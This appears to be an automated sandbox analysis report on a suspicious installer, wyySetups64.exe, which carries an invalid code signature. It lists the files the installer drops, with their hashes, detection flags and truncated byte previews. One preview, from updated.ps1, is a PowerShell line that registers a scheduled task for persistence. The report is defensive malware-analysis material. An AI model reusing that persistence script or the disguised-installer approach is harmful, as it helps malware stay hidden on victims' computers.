SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zi02lekf.zkt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\{274982DB-6C6E-4a79-973A-D9541D938086}.tmp

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	304652
Entropy (8bit):	7.999195439763513
Encrypted:	true
SSDEEP:	6144:dl5TTOp1tnABtoSIkutXiC3NxDPYhroRN6AxPM1CKSNEZ4:1TmTAB+XddZAahrKGT
MD5:	8039C279A02FEA0387E8D51BDDE541D5
SHA1:	A6A52EF6C01FDE3A1A1C702C41777119DBDB203A
SHA-256:	0BA9A3E6E4B89ED8C30C092845ECAB5939AFE4C701A130FDC6ECC9D0EC1A8386
SHA-512:	97F45BF13FF85AD252B46C8E62D2D114E84B3AEF17AA2E3B21CE47B41B416D2000506EE9BFABBC055295817CE6D7D9771A038ACFAE514CCA852EF861751C7254
Malicious:	false
Preview:	MSCF............,...............(...H.......`..........L.z .360P2SP.dll.h..G.G..[...3.@..."R`4..m....mnu..e.r.\.K.J.....u.Pw..9f..u..H..?7.=z."\|..^ ...].fi.r...........biw.Se6".p......;N....o.rI.x...$.IN.><...o......[6.k.[.lRvl..zK.{v.kKh6!36kOi..6.3Z.`.6+.B..c.t2.B)Zq.3$..V.@w......... T..4DWF.`.W..~.<.....73o7&7.L..5....rF....E.....~.@.@{...B~~.ho.D..X..pH+.. ..}-BMrx.".dU....e".nk.D...................L..e...L..~3E.......H.r..6m.G.o..z...g......}....zT.[-.K.{.\......W?..}.^....<.z.W.y.i.z&....@.-..AJN9.[.J.]Z.....k...+.2....M.........H.H...E"....`.....p.,>Q.....D.....>.B.{..t;bw..hb.....dW8.....eH2.l....^...KyD.Z.`I.........^W..k.$..;n.I..&.>s.8..WF...}......W)...:.-Sp<m..:\..U..]JT....Kw.(.......x.:.-..C..e..a..... {...!Y./1.MnF..05...9......}...+WR8W.z...fe...+..s5.....E.6w.rzP.&..Ii...h.....L$....Z~.}N...W9.6pMt4.f..R...RL.........CH:.Q.-a1... ........Y.......P..B.:M.........l.w..Xn.....VN...7FkG...3...H....i.C..`q4.Q.&.9.X...^.p/.K.(....

C:\Users\user\AppData\Local\Temp\{4E37D1B0-FC9E-4af1-8227-2DAA098CDF46}.tmp

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	PNG image data, 600 x 380, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	16151
Entropy (8bit):	7.9414528437087935
Encrypted:	false
SSDEEP:	384:9SmRt7jn8csHkzjhJuCwQ19rtw5srwat0ADwP0F43ec1:dt7bjsHkBwCwseat0AkdOc1
MD5:	3641846128E0A27A28CA0DBA8942B896
SHA1:	88C40C9923AB48E0C01883A773E297541CE49882
SHA-256:	CBF7CD45FE193E0A438CE14B0176077762E984F897091A682F9E866983DA9174
SHA-512:	15910E5A279F17EA06618CB8DCBB64FE8F8E6F5061FC14BCA6A92FF2795CF64EACEB2067104358A014079550CA1B4F24200935E2F10B1EDE6622D94794047550
Malicious:	false
Preview:	.PNG........IHDR...X...\|.....$m5S...GPLTE..q..q..r....v..#.....(.~+.1...w>...q..q.....r$.v".u..t..t..s..w(.w..q........}.y..{..'.y-.y#.y1.z.....w..y6.\|..{......t....x .".\|'...~-.},.:.!.".%.$.(..9.}=.}%.\|./.{J.C.A.?.\|+.D.0.2.2.~)...,.0.~?.?...~I.).1.x".'.\|G.5.8.{N.Q.G.J.R.Q.Z.5.:.Y.Y.U..X1...M..Hc.i..\H.q..Tv.h...a....tRNS..f..f.f........hE..=pIDATx..m..`.....0..@.)q3.P.A...XDH.Q79_...B..=_;....o.i.r....q].u.....I..........w4.._..wv...E.Vs....x..v.O...>.Z......kw^...O.`..Hb........_. h.t_t:mM.b. 8@...%.)^...i.C....<...:.:a..~....... ..\|....Y.l5....`&...-'..-.......&".#....ZB,..VL..../.B,.V.V.W\|.Za......CZ.X\.....aT...x".w.}#.bu$.,K.....U.Y..j..U.AQ....W...{u~.....T..agf..:^f./O,.3.g..J"k^.Y....W..z'..T8<.b..ZA..................f....,*.n`Y.ld.b.K.KDV..b..S.%..F.h.O.WAEd).....#..5`^.D..Y........2&....S..S..Ax.W'....f.....+....]..}.ZQ.d..3...m.3...}.~......C..v.Y.b.........X,...l.1.)N.Y....[.....b=...=.

C:\Users\user\AppData\Local\Temp\{6B9FF4AD-3BC3-473e-82AA-1C0AF3FCEE40}.tmp

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1346052
Entropy (8bit):	7.9989996832434676
Encrypted:	true
SSDEEP:	24576:S25OCGNlwNr5PL8MqxJTFl9YioVgxuz4Z0dTeLieM1V9QPjQw:B0N2NFL8VB9iiL0dTeOt23
MD5:	4F688C8A30E46A14A868F07E283763F2
SHA1:	BA736A93EF1F07B1C7C24F4201B632F1CB18E73A
SHA-256:	AA02BD7AB8BBF1C1AB138C20D0D7EBB6B5F2E2166E2184405E54D619526E9AC8
SHA-512:	8A1F679BFA7A1D5667FAC931EF9184CBE76E30C26ED1A63E97CE4AFD8815DC1409EDB560EE91FD3DB57AA0BE10D6C567F43FE887440A09897DE09CD8DC7BA88A
Malicious:	false
Preview:	MSCF............,.......................Q....l........~Q.. .sites.dll.~m...l....cV.V .themes\theme_NewInstallAir.xml.BT..~.....cV.V .themes\NewInstallAir\NewInstallAir.ui..e..BJ..CK..\|T..8z..IrH...L`.A..5....8Q..e.0.......4.T1.....'..v..-...V?.Wm...Uk..g2..Bx)...j.L..0..9w.}......w..w..{....k....k....y.nb...p..4.ie..r...?..0....9a.V.x.....p,.}..........<.h...C...#...q.-(u....]7qb....\|..n.y.?.{j.-.9.t.e._F.....s..;.o...+..e.............._.........Gn..[sn6.e.g...V#..j.'.a..8&.y~I,.S.4+...LJf.'O..[.F....).w....ubOf.T...}S!;...D......."......J1.Ma..5...l.T......<....E.._.U..al.....w.......<..H...r......v.............1..o.uz1.......... ./...vE..N..mf...8.Bx..-{.....y.....)....o......z./.....mr.S,-#...9.....]..U....,r.w$`.lH^.R...po...o....8(..6...]..L$. [.~.%...J.V.....).v.s....5..vHu.t....c..z->..y.b..../%..yN+..O.>.ST.."!. dE.T..X..Y.w?........n.Y.-.....:..ZH.}.+..l..-..10..J.bk......~..O.<.k!{.6!Rx..2.8i@[.....S/C....=..:.z..............@....>.

C:\Users\user\AppData\Local\Temp\{9AE51E5B-D986-4b47-9A8E-7D0F888610BF}.tmp

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	PNG image data, 491 x 161, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1556
Entropy (8bit):	7.507131051649285
Encrypted:	false
SSDEEP:	24:LZwmgblk3k44Yo4bo4Y4ofXQLo4LoXgMXI7gAgXILs/fHAnzPCpdyIIMGb34oYYI:OpO0P3nfXfX/HXPX/HXai+MGb34Z
MD5:	402C9D31E2079948E743562CB48AF2A6
SHA1:	5111E39A19E0675A44369E03D4A82132F0D12977
SHA-256:	D82DF7AFA80AB17CF1D298488C66902F192034B6BB18176F5BD5C5B74E348E79
SHA-512:	27510489FAA6562507CBDB0B5F545D9124D6BA59D41A65224DD6089A9C8331279CE83905B26D41453255BDA660FBAAE957E0E17D43350DFCB86603888177C760
Malicious:	false
Preview:	.PNG........IHDR..............g-....pHYs...........~.... cHRM..z%..............u0...`..:....o._.F....PLTE.................................................................................................................................................................................;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{\|\|\|}}}~~~...................................................................................................................................................................................................................................................................................................................................................................................................B.F.....IDATx...[s.D....-.d.%...L...r*.8.....9.pC...d.g.HQf<..7.o....ju.Z.V.n9.[...u......w9wo.[./....U^....9or

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1469440
Entropy (8bit):	6.242110984104102
Encrypted:	false
SSDEEP:	24576:l4LEubC/9euoUCi82BbjSyM5hGfzmzJHXW+U0:UEubUo1i3eymhGfizJHK0
MD5:	A2FF2C72E739E0CF4C73B623444CA39D
SHA1:	FF886E63C894A20F30C136A8264CFA33D41B8331
SHA-256:	C1EB83993C85E01EE6AE84EB6E05744FF8C3CCC02C41D09C22286E3012EF46FC
SHA-512:	844DAB35A1625D5BF1BD814A36FB80D5670D3DFEE5CF65AD8BE53784B486DCC08898B7577A323C7C7E1E83655F861EA86C5453CFA4C3D55353D329EF3AF6320B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: A1FsbRkm5m.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......~].:<..:<..:<...s7.<<..3D4..<..3D(.7<......2<..$n%.?<..:<...>......%<......;<..3D"..<..3D%..<..3D3.;<..$n5.;<..:<6.;<..3D0.;<..Rich:<..........................PE..L...0..\...........!.....@...$.......E.......P............................................@.................................<].......`..H-...........4..h7...........X..............................8...@............P..,............................text...f?.......@.................. ..`.rdata...=...P...>...D..............@..@.data...............................@....rsrc...H-...`......................@..@.reloc...............>..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes\NewInstallAir\NewInstallAir.ui

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1135682
Entropy (8bit):	7.510976265913228
Encrypted:	false
SSDEEP:	12288:Q0+G8ZYG6xrKI/ZFfg5Vfg5nfg53x3mYiJ6YJ6MJ6MEJl:QvGJxuI/bfQVfQnfQ3x3TUbhMl
MD5:	44C8DF596B52856EB1D3FE2E37CBDE4D
SHA1:	4AADBEEF9DC6CD4CCAC758EBDB852915C09545DF
SHA-256:	ECDDA2FB9EB27F1B56349E2ABFE90CE2F8741B982A3DD6D248E7D93E6B75DE2C
SHA-512:	EA94ED1662EFD2F6D91B4D05059DFADD8F290EEDBB45433E33F3B4E3729822A40E0C63D319F2041F3F1738650219200D594CED9E36B558AFF0A494FAB53A0E47
Malicious:	false
Preview:	PK...........Q................DPI_240_Images/PK........0PZU....%...%.......DPI_240_Images/bg_promote.png.PNG........IHDR.............\$......PLTE............U.wh......^.tz..........Ita0bL.?#.?$.A$.G'.P-.S..U0.W0.X1.Y2.Z2.[3.\3.^4._6.a6.d7.g9.j;.m<.o>.q@.tA.vB.yC.\|E..G..I..J..K..L..M..N..O..Q..Q..S.pI.tK.xL.uJ.wJ.yK.zL.\|M.}N..O..M..O.}L.{J.zJ.tH.vI.yJ.\|L.}MD.@..=..?..A..E.G.A.H.-.dG.{[..9.n'.^8.f).Z"{R..O..Q..R..T..W..Y..\".^#.a&.d(.g.k..o...............3&.5'.6(.9.=).9(.9%.<&.=".9..5..1..-..&.....R3.W5.R3.Z6.\9._;.a=.c>.e?.f@.hA.jB.lC.nE.pE.rF.tG.uG.wH(.;<..._C.dD.iF.lJ.qL.uN.xO.\|Q..R..T..V..X..U..R..P..L..K..V..X..Z..[..].._..a.h@.d;.k?.pB.uEq.........>jW(U?.F/.R>.VA.ZB.\E.`F.dG.fI.iJ.egF..%.........}.*...b...........<.~;.\|9.z7.x5.w3.u1.r...U.....k.!mI+sQ...8}\...G.i......q.]R..E.&<.,4.1,.5%.9..D..J..L..L..Y.\|........X.E...T.j.....a.2.^..F..1..............`..A..,..W....y0&$.....IDATx......A..P:@.A......K...$.qwx.T...[...>`...D.oW.'u...?..qy...t...,S.Y..<. M

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes\theme_NewInstallAir.xml

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	28030
Entropy (8bit):	3.581114835224513
Encrypted:	false
SSDEEP:	96:E4EuXYuiODQGYuBRrNRrQRrmRrXejXvXH5CeGTNxyqIYuyLmacwrvlCX4uH3OYqm:6nOT+bO7lU51EHWkGHr
MD5:	8074E9740A0E3CFDA172AD1983C72A05
SHA1:	B6D006ADAFF1FD059268517B6BD5610EF15D3BA9
SHA-256:	E4ED337A562AAC81005D451CFD4AEF721CF067ECBC6D1057601AEFC41EE83E26
SHA-512:	F6680CF19B512060B6ED1C0F88C8EE31A1BE456A37204CB63073E0AC58A2B0F544DCC0DABF0829F28687C2842043D21D41B2F172CB15698316EBF0F2BC89C445
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.t.h.e.m.e.s.>.......<.w.i.n.d.o.w.>.........<.d.e.f.a.u.l.t. .i.c.o.n._.p.o.i.n.t.=.".4.,.4.". .s.h.o.w._.i.c.o.n.=.".0.".>...........<.c.a.n.v.a.s. .n.o.r.m.a.l.=.".0.x.f.f.2.a.b.f.1.d.". .f.i.l.l.=.".0.". .i.m.a.g.e.=.".../.N.e.w.I.n.s.t.a.l.l.A.i.r./.s.k.i.n...p.n.g."./.>...........<.b.o.r.d.e.r. .n.o.r.m.a.l.=.".0.x.f.f.6.3.8.c.3.9.". .w.i.d.t.h.=.".1.". .i.n.n.e.r.=.".0.x.f.f.f.f.f.f.f.f."./.>...........<.f.o.n.t. .b.i.n.d._.f.o.n.t._.b.y._.l.a.n.g.u.a.g.e.=.".0.". .r.e.f.=.".". .f.a.c.e.=.".._o...,..[SO,.T.a.h.o.m.a.". .c.o.l.o.r.=.".0.x.0.0.b.5.e.5.1.3.". .s.i.z.e.=.".8.". .b.o.l.d.=.".0.". .i.t.a.l.i.c.=.".0.". .u.n.d.e.r.l.i.n.e.=.".0."./.>...........<.s.h.a.d.o.w. .b.o.r.d.e.r.=.".5.,.3.,.5.,.7.". .i.m.a.g.e.=.".../.N.e.w.I.n.s.t.a.l.l.A.i.r./.w.i.n.d.o.w._.s.h.a.d.o.w...p.n.g."./.>...........<.c.a.p.t.i.o.n. .s.h.o.w.=.".1.". .h.e.i.g.h.t.=.".3.0.". .c.o.l.o.r.=.".0.x.f.f.2.c.a.6.d.3."./.

C:\Users\user\AppData\Local\Temp\{D699128A-3414-4fdc-A2BD-B3D2CDE19B93}.tmp

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	PNG image data, 604 x 380, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	14344
Entropy (8bit):	7.934027356242661
Encrypted:	false
SSDEEP:	384:QTbAFSIp6FghLfaAEYlYifrkou/Z1DTn8O5zV7qh:QTkoIp68SW1Tk1Z1P8O5zch
MD5:	10AF715DFB97B8A187F81555C8E6068B
SHA1:	C108E08D53A6EC711F1BA70FDBD7561CE483CBCD
SHA-256:	EE7F804A1C73B6D6935FF731AE87AEFBBD1ABE16DC5FF315C5D8D91E283C902D
SHA-512:	FDCA596438FDD60C88DE69367ABC70D6CBFF318D8381EB4155FA257690F26D95C9A13131F676654BED27BE458A6DF67CBE1D713DE9826CF955723F6A92FC5BBB
Malicious:	false
Preview:	.PNG........IHDR...\...\|.....-..)...>PLTE..q..q..s....v....x..!.1.+.+.%...\|..q..r!.u$.v..t..s..t..r&.v..w+.x....z..'.x..}../.y......w..z5.{..t.{..9.}..(.~..}#.\|..".#.%......~>.). ...\|&.1.}....{+.!.y0.B.~F..=..B.6.zG.6.3.C.}:.2.~R.-.'.\|B..L.K.O.=.\|#.yF.".R..N.X.I.._./.xZ.,.wI..1.T.5.?...X..M..H=.w.bY.j..Vu.7....tRNS..e..e.e......2....6kIDATx...k..@..`...~.P.(j.b.%...W..EX.A.,........{.7.I3Y5......D}...i...8..`..~...W.En^8.jr..+....k... w.9.s....r....\.{-./].r.Q9...9.X.O&O..~........z]&...D.T..<\|..e)/^.....X..p....\|..Jd!.....7o..,...WX.....rV.../...Wo.{...K.2.U.G....4H.......y9d..q!=..i\.t5....",.r.....G.r....&....lI.<....z\N.<L./.k.....B...k.U\./.t......../.7...U.+(]#.@R...V.q.g.&I.i.-d...v..-.2..a.W..LY.jl.,.B_..i..y..B....Y....K....+,]...,,..6......?..l..:#.xg.-..[o...m.WH+......E\.e\|....K./...Z1]J.f.vq.Z.......u...+........[O..._..-^..E^r0.{.l.+O.FK........^...3..\|]z\u.......b...VW..R.n..@...*w.q

C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704608
Entropy (8bit):	6.625840358726942
Encrypted:	false
SSDEEP:	12288:1IhyxJ3BYXF6WxYC2aeHACRYlH+ZOAyTjUnIgidGtAd8Rwb33+YnBsLS683wK9T7:ih8WxYCyYlaOYnliItjRwbH+YBsLS68N
MD5:	D875875EB3282B692AB10E946EA22361
SHA1:	34BCEF8A8CB0E1DB44671892AC3CBD74D3C541A8
SHA-256:	0ECA2E140F973B2011C633D4D92E512A1F77E1DA610CFE0F4538C0B451270016
SHA-512:	972466310D3C145141320584B5F3E431C6888BDA2BA1036F85E68E534ED6FB97BA04CBD46D8D9C401DC5857100DC1BFF1BAD82B50514F3E5C582522F22FD2B5C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: A1FsbRkm5m.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........nl..nl..nl..I..ol...s..fl..p>'.kl...#5.kl..g.6.Ol..g..el..I..ql..nl...m..g. ..l..g.'..l..g.1.ol..p>7.ol..nl4.ll..g.2.ol..Richnl..................PE..L......Z...........!......................................................................@..............................................................5......LS...................................................................................text............................... ..`.rdata..w...........................@..@.data...`........4..................@....rsrc...............................@..@.reloc..`p.......r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\updated.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\wyySetups64.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	true
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Roaming\wyySetups64.exe

Download File

Process:	C:\Users\user\Desktop\wyySetups64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3213672
Entropy (8bit):	6.451509628158769
Encrypted:	false
SSDEEP:	49152:xWutLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbD333UKzl:HtLutqgwh4NYxtJpkxhGU333X
MD5:	97090426A42466D139D3E45F47C652F8
SHA1:	C3500A1E6DB48E87C2BA73BBB5CCC23EC31BBC2C
SHA-256:	E70179810F8C851E20966DA1E5E1BB45DFC603C068864192C43EB161CE7ABBD9
SHA-512:	BE792992521A9A618683C4CE3D55B984C607A8478A9889C38D87603B3CCF239E8715B005CB9D4CC7447B47DDE7740AC47971CBA0426B8F064F15D59DF035A632
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1.......1...@......@....................-.......-..9....................0.h-...........................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Roaming\wyySetups64.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\wyySetups64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Downloads\360instpatch.exe

Download File

Process:	C:\Users\user\Desktop\wyySetups64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	4118496
Entropy (8bit):	7.743814085153487
Encrypted:	false
SSDEEP:	98304:9lBo/r7J2a4FL8VdL0hvADfHraEk1qhJonrnYmIb:1oD7x4yVdDfLa8ky
MD5:	AAA0F14BDFE3777EEE342C27DE409E6D
SHA1:	6B5F9A7B71E6B105D1BFA26B0C7A4931ED9E5179
SHA-256:	B35314C2C3B1AAB777D621C6FD8516A877B27EFBDE4DD4ADDD6843C411E96AA3
SHA-512:	D584D30083E34964D846C88EB558DBA338E3B8982D6D71EFEC36461AEA12127CFCBA2BE9510D9EF254A85680A2BA2DDB21583CE5E77D5CF3AC0A65800E5AB25A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!..e..e..e....A.a..l.B.y..Bb..d..l.^.s..{.S.a..Bb..f..Bb..@..e.....l.T...l.S...{.C.d..l.F.d..Riche..................PE..L...,D.f......................2...................@...........................?......?...@.....................................\|.......l</...........>.H)...@>.h...@...................................@............................................text............................... ..`.rdata...M.......N..................@..@.data...L....0......................@....rsrc...l</......>/.................@..@.reloc..(....@>.......=.............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Users\user\Desktop\wyySetups64.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	4713
Entropy (8bit):	7.794126798189374
Encrypted:	false
SSDEEP:	96:PXjz1tPmFxslSjesx2hbOW3Pp58i3uzodO38KYBZJI1nVq:PXjLPma2wFqeO33iJI1nVq
MD5:	2F4F4B30A5B098DE11AA26B6BDFF2ECC
SHA1:	4F2C267C7CEC2BB3B51DB53766B81FBEDD9DA615
SHA-256:	EDD1D1E873D4D9AFC4D0D60935F231AD65262D82DFBCBC15BCC89DC85ECD6E92
SHA-512:	07804C833ED0E175CCD6C239080974841C0864B46B36F40DDCF803EB814F4358FDD56216A98DA9ED548834A8D0FB30E5CD70BE94B4A0AB6583B7E7E76A340B80
Malicious:	false
Preview:	..........9.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......,..l..@E....................NTLMSSP.............0.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ....;..[/..@..P...................P...........a..8..f.]~.....Q.I.V.....g..@Ld....C..{1E.[.\|G]........:...T9$\.`...cZ..Y.................z.....................d........i..bAUS..B.a...7eq.v..E........D..{i...9....T.^#F..<.f.&T.}.f2...@.~.yl...>.^..........c^.:..z.,.J.....}_.X.3......."...%.#.....!.L.8+}dcO..$Nk..k0E.....Pbq..2j...9t.(.L.....S.~......a.........q.4...^.........._...Q..R.,...HX,.b0...]..._.[wM..A..%..M...G.. Rg. .,..?d..]..8'..#.O.7\|..&W.9[..b..z...&.s6.....].r..S.z;&.A...I.....Z. .6.t@..q.I...?...:... .Z;....Q......O..4..y5O(.P%.m.[.>....#..H.#..>#...w...C.....j.........$:`.8\.'0g....H._N=........{.t].-.o.8}.9M.Mv...T....6.]...Z.....d....>n5To_..h.....a......D..d..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.451509628158769
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	wyySetups64.exe
File size:	3'213'672 bytes
MD5:	97090426a42466d139d3e45f47c652f8
SHA1:	c3500a1e6db48e87c2ba73bbb5ccc23ec31bbc2c
SHA256:	e70179810f8c851e20966da1e5e1bb45dfc603c068864192c43eb161ce7abbd9
SHA512:	be792992521a9a618683c4ce3d55b984c607a8478a9889c38d87603b3ccf239e8715b005cb9d4cc7447b47dde7740ac47971cba0426b8f064f15d59df035a632
SSDEEP:	49152:xWutLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbD333UKzl:HtLutqgwh4NYxtJpkxhGU333X
TLSH:	EBE54A27F28C713ED06B3A324A3386909837F66179168C6797FC794C8F365942A3E647
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c1733515131060c

Static PE Info

General

Entrypoint:	0x6c6668
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF219 [Wed Feb 15 14:54:17 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	8507116e3d0e7e02e36e7dc5b8aa1af8

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	06/05/2023 01:00:00 06/05/2026 00:59:59
Subject Chain	CN=Johannes Schindelin, O=Johannes Schindelin, S=Nordrhein-Westfalen, C=DE
Version:	3
Thumbprint MD5:	0BDACC0E75B258864C6FFA046FF1F84A
Thumbprint SHA-1:	3EB14A3AEF84B7153E139397F0A49E2FAC662B0E
